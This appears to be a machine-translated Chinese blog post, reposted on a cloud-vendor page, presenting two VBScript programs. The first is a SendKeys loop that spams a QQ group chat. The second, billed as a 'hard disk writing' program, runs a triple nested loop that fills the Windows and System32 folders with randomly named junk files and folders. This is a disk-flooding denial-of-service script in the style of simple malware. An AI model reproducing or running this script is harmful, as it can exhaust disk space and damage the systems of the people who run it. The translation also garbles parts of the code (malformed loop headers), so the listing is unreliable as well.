Learn something from a vbs script

Source: Internet
Author: User

I don't know whether it was recently or before. In the past few days, I often saw a vbs In the QQ group. Code . Copy code The Code is as follows: Set wshshell = wscript. Createobject ("wscript. Shell ")
Wshshell. appactivate "group-Powers member communication"
For I = 1 to 10' the number of requests to be sent
Wscript. Sleep 500 'message sending Interval
Wshshell. sendkeys "^ V" 'content to be sent
Wshshell. sendkeys I 'here, each message is different, and I is the number of cycles added to the end.
Wshshell. sendkeys "% s"
Next

This code is clearly explained ~ Haha
In fact, it's just a little bit like this that we can have a few fun things ~ For example, QQ chat and website refresh ~

For the sake of interest, I found this code: A vbs script for Hard Disk Writing.Program(Don't do bad things) Copy code The Code is as follows: on error resume next
Dim objdir, suijishu
Set objdir = wscript. Createobject ("scripting. FileSystemObject ")
Set WINDIR = objdir. getspecialfolder (0)
Set Sysdir = objdir. getspecialfolder (1)
'Start the program
For 1 to 1000
For j = 1 ~ 1000
For r = 1 to 1000 '------------------------------------------------------------------------------
Randomize
Y = int (122-65 + 1) * RND + 65)
Y1 = int (122-65 + 1) * RND + 65)
Y2 = int (122-65 + 1) * RND + 65)
Y3 = int (122-65 + 1) * RND + 65)
Y4 = int (122-65 + 1) * RND + 65)
Y5 = int (122-65 + 1) * RND + 65)
Y6 = int (122-65 + 1) * RND + 65)
Y7 = int (122-65 + 1) * RND + 65)
Y8 = int (122-65 + 1) * RND + 65 )'-----------------------------------------------------------------
Y9 = int (122-65 + 1) * RND + 65)
F = CHR (y) & CHR (Y1) & CHR (Y2) & CHR (Y3) & CHR (Y4) & CHR (Y5) & CHR (y6) & CHR (y7) & CHR (Y8) & CHR (y9)
Suijishu = int (RND * 10000)
'Create a Windows File
Yang = WINDIR & "" & F & "." & CHR (Y3) & CHR (y7) & CHR (y)
Set a = objdir. createtextfile (Yang, true)
A. writeline "Made in China, Hubei, Wuhan, Guanshan"
A. writeline "Comrade Lao Yang, CEO of gufeng neighborhood committee"
A. writeline "OICQ: 14903220 "'------------------------------------------------------------
For u = 1 to suijishu
A. writeline (F & F)
Next
A. Close
Yang = WINDIR & "" & CHR (Y3) & CHR (Y1) & "." & CHR (y) & CHR (Y4) & CHR (Y2) '2
Set a = objdir. createtextfile (Yang, true)
A. writeline "Made in China, Hubei, Wuhan, Guanshan"
A. writeline "Comrade Lao Yang, CEO of gufeng neighborhood committee"
A. writeline "OICQ: 14903220"
For u = 1 to suijishu '-----------------------------------------------------------------------
A. writeline (F & F)
Next
A. Close
Yang = WINDIR & "" & CHR (y7) & CHR (Y2) & CHR (y9 )&". "& CHR (Y8) & CHR (Y4) & CHR (Y1) '3
Set a = objdir. createtextfile (Yang, true)
A. writeline "Made in China, Hubei, Wuhan, Guanshan"
A. writeline "Comrade Lao Yang, CEO of gufeng neighborhood committee"
A. writeline "OICQ: 14903220"
For u = 1 to suijishu
A. writeline (F & F )'-------------------------------------------------------------
Next
A. Close
Yang = WINDIR & "" & CHR (Y5) & CHR (Y2) & CHR (y9) & CHR (Y1 )&". "& CHR (y6) & CHR (y9) & CHR (Y3) '4
Set a = objdir. createtextfile (Yang, true)
A. writeline "Made in China, Hubei, Wuhan, Guanshan"
A. writeline "Comrade Lao Yang, CEO of gufeng neighborhood committee"
A. writeline "OICQ: 14903220"
For u = 1 to suijishu
A. writeline (F & F)
Next 'Expect '--------------------------------------------------------------------------------------
A. Close
Yang = WINDIR & "" & CHR (y6) & CHR (Y2) & CHR (y) & CHR (Y4) & CHR (Y5 )&". "& CHR (y6) & CHR (Y8) & CHR (Y4) '5
Set a = objdir. createtextfile (Yang, true)
A. writeline "Made in China, Hubei, Wuhan, Guanshan"
A. writeline "Comrade Lao Yang, CEO of gufeng neighborhood committee"
A. writeline "OICQ: 14903220"
For u = 1 to suijishu
A. writeline (F & F)
Next
A. Close '---------------------------------------------------------------------------------

Yang = WINDIR & "" & CHR (Y3) & CHR (y6) & CHR (Y1) & CHR (Y8) & CHR (Y5) & CHR (y9 )&". "& CHR (Y3) & CHR (Y8) & CHR (y) '6
Set a = objdir. createtextfile (Yang, true)
A. writeline "Made in China, Hubei, Wuhan, Guanshan"
A. writeline "Comrade Lao Yang, CEO of gufeng neighborhood committee"
A. writeline "OICQ: 14903220"
For u = 1 to suijishu
A. writeline (F & F)
Next
A. Close '----------------------------------------------------------------------------------
Yang = WINDIR & "" & CHR (Y4) & CHR (Y2) & CHR (Y1) & CHR (y7) & CHR (Y8) & CHR (y) & CHR (Y4 )&". "& CHR (Y2) & CHR (y) & CHR (Y5) '7
Set a = objdir. createtextfile (Yang, true)
A. writeline "Made in China, Hubei, Wuhan, Guanshan"
A. writeline "Comrade Lao Yang, CEO of gufeng neighborhood committee"
A. writeline "OICQ: 14903220"
For u = 1 to suijishu
A. writeline (F & F)
Next
A. Close
Yang = WINDIR & "" & CHR (Y8) & CHR (Y2) & CHR (y6) & CHR (Y4) & CHR (Y1) & CHR (y) & CHR (y6) & CHR (Y1 )&". "& CHR (Y4) & CHR (y) & CHR (y7) '8 '---
Set a = objdir. createtextfile (Yang, true)
A. writeline "Made in China, Hubei, Wuhan, Guanshan"
A. writeline "Comrade Lao Yang, CEO of gufeng neighborhood committee"
A. writeline "OICQ: 14903220"
For u = 1 to suijishu
A. writeline (F & F)
Next
A. Close
'Create the System File -------------------------------------------------------------------------------- 10
Yang = Sysdir & "" & F & "." & CHR (Y3) & CHR (y9) & CHR (Y1)
Set a = objdir. createtextfile (Yang, true)
A. writeline "Made in China, Hubei, Wuhan, Guanshan"
A. writeline "Comrade Lao Yang, CEO of gufeng neighborhood committee"
A. writeline "OICQ: 14903220"
For u = 1 to suijishu
A. writeline (F & F)
Next
A. Close
Yang = Sysdir & "" & CHR (Y3) & CHR (Y1) & "." & CHR (Y4) & CHR (Y2) & CHR (y9) '2 ------------------------------------------
Set a = objdir. createtextfile (Yang, true)
A. writeline "Made in China, Hubei, Wuhan, Guanshan"
A. writeline "Comrade Lao Yang, CEO of gufeng neighborhood committee"
A. writeline "OICQ: 14903220"
For u = 1 to suijishu
A. writeline (F & F)
Next
A. Close
Yang = Sysdir & "" & CHR (y7) & CHR (Y2) & CHR (y9 )&". "& CHR (Y3) & CHR (y7) & CHR (y) '3
Set a = objdir. createtextfile (Yang, true )'------------------------------------------------------
A. writeline "Made in China, Hubei, Wuhan, Guanshan"
A. writeline "Comrade Lao Yang, CEO of gufeng neighborhood committee"
A. writeline "OICQ: 14903220"
For u = 1 to suijishu
A. writeline (F & F)
Next
A. Close
Yang = Sysdir & "" & CHR (Y5) & CHR (Y2) & CHR (y9) & CHR (Y1 )&". "& CHR (Y5) & CHR (Y4) & CHR (Y1) '4
Set a = objdir. createtextfile (Yang, true)
A. writeline "Made in China, Hubei, Wuhan, Guanshan "'-----------------------------------------
A. writeline "Comrade Lao Yang, CEO of gufeng neighborhood committee"
A. writeline "OICQ: 14903220"
For u = 1 to suijishu
A. writeline (F & F)
Next
A. Close
Yang = Sysdir & "" & CHR (y6) & CHR (Y2) & CHR (y) & CHR (Y4) & CHR (Y5 )&". "& CHR (Y3) & CHR (y6) & CHR (y9) '5
Set a = objdir. createtextfile (Yang, true)
A. writeline "Made in China, Hubei, Wuhan, Guanshan"
A. writeline "Comrade Lao Yang, CEO of gufeng neighborhood committee "'------------------------------------------------
A. writeline "OICQ: 14903220"
For u = 1 to suijishu
A. writeline (F & F)
Next
A. Close
Yang = Sysdir & "" & CHR (Y3) & CHR (y6) & CHR (Y1) & CHR (Y8) & CHR (Y5) & CHR (y9 )&". "& CHR (Y3) & CHR (y) & CHR (Y5) '6
Set a = objdir. createtextfile (Yang, true)
A. writeline "Made in China, Hubei, Wuhan, Guanshan"
A. writeline "Comrade Lao Yang, CEO of gufeng neighborhood committee"
A. writeline "OICQ: 14903220" '-------------------------------------------------------------- 15
For u = 1 to suijishu
A. writeline (F & F)
Next
A. Close
Yang = Sysdir & "" & CHR (Y4) & CHR (Y2) & CHR (Y1) & CHR (y7) & CHR (Y8) & CHR (y) & CHR (Y4 )&". "& CHR (y7) & CHR (Y5) & CHR (Y1) '7
Set a = objdir. createtextfile (Yang, true)
A. writeline "Made in China, Hubei, Wuhan, Guanshan"
A. writeline "Comrade Lao Yang, CEO of gufeng neighborhood committee"
A. writeline "OICQ: 14903220"
For u = 1 to suijishu '-------------------------------------------------------------------------
A. writeline (F & F)
Next
A. Close
Yang = Sysdir & "" & CHR (Y8) & CHR (Y2) & CHR (y6) & CHR (Y4) & CHR (Y1) & CHR (y) & CHR (y6) & CHR (Y1 )&". "& CHR (Y1) & CHR (y7) & CHR (Y4) '8
Set a = objdir. createtextfile (Yang, true)
A. writeline "Made in China, Hubei, Wuhan, Guanshan"
A. writeline "Comrade Lao Yang, CEO of gufeng neighborhood committee"
A. writeline "OICQ: 14903220"
For u = 1 to suijishu
A. writeline (F & F )'--------------------------------------------------------------
Next
A. Close
'Create a Windows Folder
Yang = WINDIR & "& F &" U"
Objdir. createfolder (Yang)
Yang = WINDIR & "" & CHR (Y4) & CHR (Y2) '2
Objdir. createfolder (Yang)
Yang = WINDIR & "" & CHR (y) & CHR (y9) & CHR (Y5) '3
Objdir. createfolder (Yang )'-------------------------------------------------------------------
Yang = WINDIR & "" & CHR (y6) & CHR (Y3) & CHR (Y8) & CHR (y7) '4
Objdir. createfolder (Yang)
Yang = WINDIR & "" & CHR (Y5) & CHR (y) & CHR (Y1) & CHR (y9) & CHR (Y3) '5
Objdir. createfolder (Yang)
Yang = WINDIR & "" & CHR (y6) & CHR (y9) & CHR (Y4) & CHR (y6) & CHR (Y1) & CHR (y7) '6
Objdir. createfolder (Yang)
Yang = WINDIR & "" & CHR (Y3) & CHR (y6) & CHR (y) & CHR (Y1) & CHR (y7) & CHR (y6) & CHR (Y2) '7
Objdir. createfolder (Yang)
Yang = WINDIR & "" & CHR (y6) & CHR (Y2) & CHR (y9) & CHR (y) & CHR (Y4) & CHR (y7) & CHR (Y2) & CHR (Y5) '8
Objdir. createfolder (Yang )'--------------------------------------------------------------------

'Create a system folder
Yang = Sysdir & "& F &" N"
Objdir. createfolder (Yang)
Yang = Sysdir & "" & CHR (Y4) & CHR (Y2) '2
Objdir. createfolder (Yang)
Yang = Sysdir & "" & CHR (y) & CHR (y9) & CHR (Y5) '3
Objdir. createfolder (Yang)
Yang = Sysdir & "" & CHR (y6) & CHR (Y3) & CHR (Y8) & CHR (y7) '4
Objdir. createfolder (Yang )'---------------------------------------------------------------------
Yang = Sysdir & "" & CHR (Y5) & CHR (y) & CHR (Y1) & CHR (y9) & CHR (Y3) '5
Objdir. createfolder (Yang)
Yang = Sysdir & "" & CHR (y6) & CHR (y9) & CHR (Y4) & CHR (y6) & CHR (Y1) & CHR (y7) '6
Objdir. createfolder (Yang)
Yang = Sysdir & "" & CHR (Y3) & CHR (y6) & CHR (y) & CHR (Y1) & CHR (y7) & CHR (y6) & CHR (Y2) '7
Objdir. createfolder (Yang)
Yang = Sysdir & "" & CHR (y6) & CHR (Y2) & CHR (y9) & CHR (y) & CHR (Y4) & CHR (y7) & CHR (Y2) & CHR (Y5) '8
Objdir. createfolder (Yang)
Next
Next
Next
'Comrade Lao Yang has a huge amount of blood

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.